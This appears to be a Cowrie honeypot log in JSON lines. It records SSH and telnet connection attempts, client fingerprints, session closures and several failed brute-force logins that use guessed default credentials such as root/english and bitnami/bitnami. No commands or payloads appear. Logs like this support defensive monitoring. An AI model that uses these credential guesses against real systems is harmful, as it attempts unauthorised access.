{"eventid":"cowrie.session.closed","duration":33.73967790603638,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:28.128649Z","src_ip":"192.119.13.58","session":"1084850b03e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.02757954597473,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:28.498789Z","src_ip":"192.119.13.58","session":"f0013c1a5fac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":34858,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b4e0919882d","protocol":"ssh","message":"New connection: 147.45.199.80:34858 (159.203.135.109:22) [session: 9b4e0919882d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:29.110801Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:29.115299Z","src_ip":"147.45.199.80","session":"9b4e0919882d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:29.217032Z","src_ip":"147.45.199.80","session":"9b4e0919882d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"22061941","message":"login attempt [root/22061941] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:29.527180Z","src_ip":"147.45.199.80","session":"9b4e0919882d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:30.678965Z","src_ip":"147.45.199.80","session":"9b4e0919882d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":33786,"dst_ip":"10.17.0.5","dst_port":23,"session":"390f04b91443","protocol":"telnet","message":"New connection: 192.119.13.58:33786 (10.17.0.5:23) [session: 390f04b91443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:36.402563Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40660,"dst_ip":"10.17.0.5","dst_port":23,"session":"09bbb6d71981","protocol":"telnet","message":"New connection: 192.119.13.58:40660 (10.17.0.5:23) [session: 09bbb6d71981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:38.046054Z"}
{"eventid":"cowrie.session.closed","duration":58.27092623710632,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:38.227088Z","src_ip":"192.119.13.58","session":"1cb651723d28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.625969886779785,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:42.205019Z","src_ip":"192.119.13.58","session":"5264a622eada","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36630,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c223bd3fc6c","protocol":"telnet","message":"New connection: 192.119.13.58:36630 (10.17.0.5:23) [session: 6c223bd3fc6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:43.979395Z"}
{"eventid":"cowrie.session.closed","duration":40.890483140945435,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:46.012887Z","src_ip":"192.119.13.58","session":"13b76a1edc39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45464,"dst_ip":"10.17.0.5","dst_port":23,"session":"012bb56a3e13","protocol":"telnet","message":"New connection: 192.119.13.58:45464 (10.17.0.5:23) [session: 012bb56a3e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:46.191369Z"}
{"eventid":"cowrie.session.closed","duration":37.326300621032715,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:46.466045Z","src_ip":"192.119.13.58","session":"9808a556b529","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.090232610702515,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:47.117854Z","src_ip":"192.119.13.58","session":"e8b92c2396e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":58792,"dst_ip":"159.203.135.109","dst_port":22,"session":"f136c59d3917","protocol":"ssh","message":"New connection: 193.228.128.84:58792 (159.203.135.109:22) [session: f136c59d3917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:51.605000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:51.609889Z","src_ip":"193.228.128.84","session":"f136c59d3917","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:51.712396Z","src_ip":"193.228.128.84","session":"f136c59d3917","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"english","message":"login attempt [root/english] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:52.019358Z","src_ip":"193.228.128.84","session":"f136c59d3917","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.166616678237915,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:53.123327Z","src_ip":"192.119.13.58","session":"b9a8d0d3c914","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:53.128875Z","src_ip":"193.228.128.84","session":"f136c59d3917","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.514143228530884,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:55.359001Z","src_ip":"192.119.13.58","session":"06627242f01f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.73358511924744,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:57.341402Z","src_ip":"192.119.13.58","session":"ae54b9856326","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35824,"dst_ip":"10.17.0.5","dst_port":23,"session":"670a207d66fc","protocol":"telnet","message":"New connection: 192.119.13.58:35824 (10.17.0.5:23) [session: 670a207d66fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:57.385085Z"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.73.108","src_port":34394,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0c92de63ae0","protocol":"ssh","message":"New connection: 49.51.73.108:34394 (10.17.0.5:22) [session: e0c92de63ae0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:58.940447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:58.946006Z","src_ip":"49.51.73.108","session":"e0c92de63ae0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:59.014907Z","src_ip":"49.51.73.108","session":"e0c92de63ae0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43112,"dst_ip":"10.17.0.5","dst_port":23,"session":"e810f1f9ec3c","protocol":"telnet","message":"New connection: 192.119.13.58:43112 (10.17.0.5:23) [session: e810f1f9ec3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:59.218799Z"}
{"eventid":"cowrie.login.failed","username":"bitnami","password":"bitnami","message":"login attempt [bitnami/bitnami] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:59.319019Z","src_ip":"49.51.73.108","session":"e0c92de63ae0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":45756,"dst_ip":"10.17.0.5","dst_port":23,"session":"919a1c424cff","protocol":"telnet","message":"New connection: 192.119.13.58:45756 (10.17.0.5:23) [session: 919a1c424cff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:40:59.923516Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:00.390457Z","src_ip":"49.51.73.108","session":"e0c92de63ae0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.4882287979126,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:02.308577Z","src_ip":"192.119.13.58","session":"b53935ebd01e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56074,"dst_ip":"10.17.0.5","dst_port":23,"session":"d07c23fd6bf6","protocol":"telnet","message":"New connection: 192.119.13.58:56074 (10.17.0.5:23) [session: d07c23fd6bf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:02.528739Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32890,"dst_ip":"10.17.0.5","dst_port":23,"session":"000ea6b73036","protocol":"telnet","message":"New connection: 192.119.13.58:32890 (10.17.0.5:23) [session: 000ea6b73036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:03.779739Z"}
{"eventid":"cowrie.session.closed","duration":0.011026620864868164,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:03.790606Z","src_ip":"192.119.13.58","session":"000ea6b73036","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.931912899017334,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:08.273693Z","src_ip":"192.119.13.58","session":"dc31064b45b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":33744,"dst_ip":"10.17.0.5","dst_port":22,"session":"7635687edf93","protocol":"ssh","message":"New connection: 45.78.204.254:33744 (10.17.0.5:22) [session: 7635687edf93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:12.155819Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:12.160727Z","src_ip":"45.78.204.254","session":"7635687edf93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:12.399357Z","src_ip":"45.78.204.254","session":"7635687edf93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":43884,"dst_ip":"10.17.0.5","dst_port":23,"session":"e95199e4ef4e","protocol":"telnet","message":"New connection: 192.119.13.58:43884 (10.17.0.5:23) [session: e95199e4ef4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:13.642889Z"}
{"eventid":"cowrie.session.closed","duration":47.726186990737915,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:13.742141Z","src_ip":"192.119.13.58","session":"98fbb59cb0ec","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test_user","password":"test","message":"login attempt [test_user/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:15.789744Z","src_ip":"45.78.204.254","session":"7635687edf93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54732,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5a032c48a43","protocol":"telnet","message":"New connection: 192.119.13.58:54732 (10.17.0.5:23) [session: a5a032c48a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:16.415755Z"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:17.032969Z","src_ip":"45.78.204.254","session":"7635687edf93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60312,"dst_ip":"10.17.0.5","dst_port":23,"session":"90f7f491464b","protocol":"telnet","message":"New connection: 192.119.13.58:60312 (10.17.0.5:23) [session: 90f7f491464b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:17.728016Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":32914,"dst_ip":"10.17.0.5","dst_port":23,"session":"28aa0ee8be18","protocol":"telnet","message":"New connection: 192.119.13.58:32914 (10.17.0.5:23) [session: 28aa0ee8be18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:17.924527Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42058,"dst_ip":"10.17.0.5","dst_port":23,"session":"272a1c248496","protocol":"telnet","message":"New connection: 192.119.13.58:42058 (10.17.0.5:23) [session: 272a1c248496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:20.443325Z"}
{"eventid":"cowrie.session.closed","duration":43.61188268661499,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:21.657809Z","src_ip":"192.119.13.58","session":"09bbb6d71981","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":57156,"dst_ip":"10.17.0.5","dst_port":23,"session":"a48c741aa434","protocol":"telnet","message":"New connection: 192.119.13.58:57156 (10.17.0.5:23) [session: a48c741aa434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:24.183655Z"}
{"eventid":"cowrie.session.closed","duration":51.36802268028259,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:27.770450Z","src_ip":"192.119.13.58","session":"390f04b91443","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.215147972106934,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:29.194435Z","src_ip":"192.119.13.58","session":"6c223bd3fc6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":35338,"dst_ip":"159.203.135.109","dst_port":22,"session":"e071517b35e1","protocol":"ssh","message":"New connection: 51.250.105.222:35338 (159.203.135.109:22) [session: e071517b35e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:35.279226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:35.284584Z","src_ip":"51.250.105.222","session":"e071517b35e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:35.408286Z","src_ip":"51.250.105.222","session":"e071517b35e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxczxczxc","message":"login attempt [root/zxczxczxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:35.780505Z","src_ip":"51.250.105.222","session":"e071517b35e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:36.905535Z","src_ip":"51.250.105.222","session":"e071517b35e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.808066606521606,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:37.336659Z","src_ip":"192.119.13.58","session":"d07c23fd6bf6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.982186794281006,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:37.905549Z","src_ip":"192.119.13.58","session":"919a1c424cff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.93561363220215,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T13:41:39.126876Z","src_ip":"192.119.13.58","session":"012bb56a3e13","protocol":"telnet"}
